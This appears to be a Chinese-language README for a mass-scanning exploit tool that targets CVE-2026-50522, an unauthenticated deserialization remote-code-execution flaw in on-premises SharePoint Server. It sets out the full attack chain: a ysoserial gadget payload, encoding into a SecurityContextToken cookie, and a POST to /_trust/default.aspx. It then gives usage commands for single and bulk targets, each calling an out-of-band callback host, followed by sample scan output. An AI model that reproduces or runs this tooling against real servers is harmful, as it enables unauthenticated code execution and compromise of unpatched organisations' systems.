CVE-2026-50522 PoC：SharePoint 反序列化 RCE

通过 SecurityContextToken Cookie 反序列化实现 SharePoint Server 未经身份验证的远程代码执行

针对本地部署的 Microsoft SharePoint Server 的 CVE-2026-50522 批量扫描漏洞利用工具。利用 /_trust/default.aspx WS-Federation 端点中不安全的 BinaryFormatter 反序列化，通过精心构造的 SecurityContextToken cookie 实现未经身份验证的代码执行。

注意： 此项目包含 ysoserial，这是一个知名的渗透测试工具，因此你的防病毒软件可能会在下载时将其标记或隔离。

漏洞信息

• CVE：CVE-2026-50522
• 类型：CWE-502 不可信数据反序列化
• CVSS 3.1：9.8（严重）
• 身份验证：无需身份验证
• 受影响版本：
  • Microsoft SharePoint Server Subscription Edition（低于 16.0.19725.20434）
  • Microsoft SharePoint Server 2019（低于 16.0.10417.20175）
  • Microsoft SharePoint Enterprise Server 2016（低于 16.0.5561.1001）

工作原理

1. ysoserial.exe 使用 TypeConfuseDelegate gadget 生成 BinaryFormatter 序列化负载
2. 该负载执行 Invoke-WebRequest 向带外回调 URL 发起请求
3. 原始字节经 zlib 压缩（deflate）后 Base64 编码为 cookie 值
4. cookie 被封装在 SecurityContextToken XML 结构中
5. 令牌被嵌入到 RequestSecurityTokenResponse（WS-Federation）中
6. wresult 参数被 POST 到 /_trust/default.aspx
7. SharePoint 反序列化该令牌，触发 IIS 工作进程中的代码执行

环境要求

• Python 3.10+ 并安装 requests 库
• ysoserial.net（下载）
• OOB 回调服务器（Burp Collaborator、interactsh、OAST）

使用方法

单个目标

python CVE-2026-50522.py -t http://10.10.10.5 -c http://YOUR_ID.oastify.com

批量扫描

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com

自定义 ysoserial 路径

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --ysoserial C:\tools\ysoserial.exe

使用代理

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com -x http://127.0.0.1:8080

子域名回调模式

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --callback-mode subdomain

选项

回调模式

路径模式（默认）：

http://YOUR_ID.oastify.com/10.10.10.5

子域名模式：

http://10.10.10.5.YOUR_ID.oastify.com

输出示例

[*] 50 target(s) | callback: http://abc123.oastify.com (path) | ysoserial: ysoserial.exe
[10.10.10.5] [+] 200 [LOGIN_PAGE,AUTH_COOKIE]
[10.10.10.6] [!] 200 [AMSI_BLOCKED]
[10.10.10.7] [!] TIMEOUT
[10.10.10.8] [!] SSL_ERR
[10.10.10.9] [!] 403 [HTTP_403]

[*] 45.2s | 50 total | 12 potential | 3 amsi | 5 failed

参考资料

• Microsoft - CVE-2026-50522
• SOCRadar - CVE-2026-50522 PoC 助燃 SharePoint 攻击
• thehackernews - 公开 PoC 后，严重 SharePoint RCE CVE-2026-50522 正遭积极利用